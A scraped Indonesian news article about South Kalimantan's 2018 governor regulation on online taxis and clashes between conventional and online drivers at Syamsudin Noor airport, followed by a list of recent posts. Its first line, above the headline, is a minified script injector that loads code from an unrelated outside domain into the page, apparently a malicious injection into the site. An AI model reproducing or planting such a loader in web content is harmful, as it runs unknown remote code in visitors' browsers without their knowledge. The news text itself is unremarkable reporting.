(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mengerem Laju Taksi Online di Jalanan Kalsel dengan Pergub No 06 Tahun 2018


BANJARBARU, Pro kontra menyusul terbitnya Peraturan Gubernur (Pergub) Kalsel No 06 Tahun 2018 tentang penyelenggaraan angkutan sewa khusus menggunakan aplikasi berbasis teknologi informasi (online), masih menjadi perbincangan saat ini. Bagi kalangan sopir taksi konvensional maupun angkutan kota (angkot), terbitnya aturan tersebut dianggap menyelamatkan jatah ‘periuk nasi’ mereka sehingga tak habis dimakan taksi online. Sedangkan bagi para sopir taksi online yang nota bene merupakan pendatang baru di jalanan Kalsel, merupakan akhir dari ‘bulan madu’ mereka!

Betapa tidak, sebelum tertuangnya Pergub No 06 Tahun 2018 ini, tak ada aturan yang membatasi secara spesifik perihal aturan main taksi berbasis daring tersebut. Hingga, jumlah transportasi online pun mencapai ribuan kendaraan. Disebutkan oleh Arbaini, selaku Ketua Paguyuban Taksi Online Kalsel pada akhir tahun 2017 lalu,  jumlahnya sudah ada sekitar 3.000 supir terdata dari berbagai group mulai Go Car, Grab dan sejenisnya.

Dengan jumlah tersebut, otomatis jatah pemasukan bagi taksi konvensional pun terkena imbas. Ratusan massa sopir taksi reguler yang sempat melakukan demo di gedung DPRD Kalsel, Senin (2/10/2017) lalu, mengatakan mengalami penurunan pendapatan hingga 70 persen.

Sebagai imbasnya, benturan antara sopir taksi konvensional dan online pun beberapa kali terjadi di Kalsel. Di Bandara Syamsudin Noor misalnya, aksi sweeping terhadap keberadaan taksi online sempat dilakukan. Alasannya, karena taksi online melanggar aturan penjemputan penumpang di bandara. Padahal kesepakatannya hanya boleh masuk ke bandara untuk menurunkan penumpang saja.

Menurut Nurdin, Sekretaris Koperasi Kojatas Bandara Syamsudin Noor, sweeping yang mereka lakukan akibat berkurangnya pendapatan para sopir. Pemicunya tak lain taksi online yang masuk menyerobot wilayah kerja mereka.

“Kalau mengantar penumpang dari luar silahkan saja. Tapi kalau mengambil penumpang  di bandara, ini akan jadi masalah,” tegasnya.

Dalih Nurdin, taksi bandara mempunyai tanggungan beban pembayaran retribusi pajak, baik retribusi parkir maupun retribusi penggunaan ruang di area bandara. Dengan berkurangnya jumlah penumpang, tentunya berdampak pada segi pendapatan dan pembayaran beban retribusi. “Kami di sini bayar. Kalau taksi online tidak. Kami yang rugi cobalah mengerti,” ungkapnya. (Baca: Organda Banjarmasin Minta Pergub Taksi Online Disertai Sanksi Tegas).

Menyikapi berbagai gesekan di lapangan inilah, akhirnya Pemprov Kalsel menerbitkan Pergub 06 Tahun 2018 tentang penyelenggaraan angkutan sewa khusus menggunakan aplikasi berbasis teknologi informasi. Menurut Kepala Dinas Perhubungan Kalsel, Rusdiansyah,  aturan yang saat ini sedang memasuki masa sosialisasi ini, mengatur banyak hal terkait kendaraan berbasis aplikasi online.


Page: 1 2

Desy Arfianty

Recent Posts

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

8 menit ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

3 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

7 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

15 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

16 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

18 jam ago

This website uses cookies.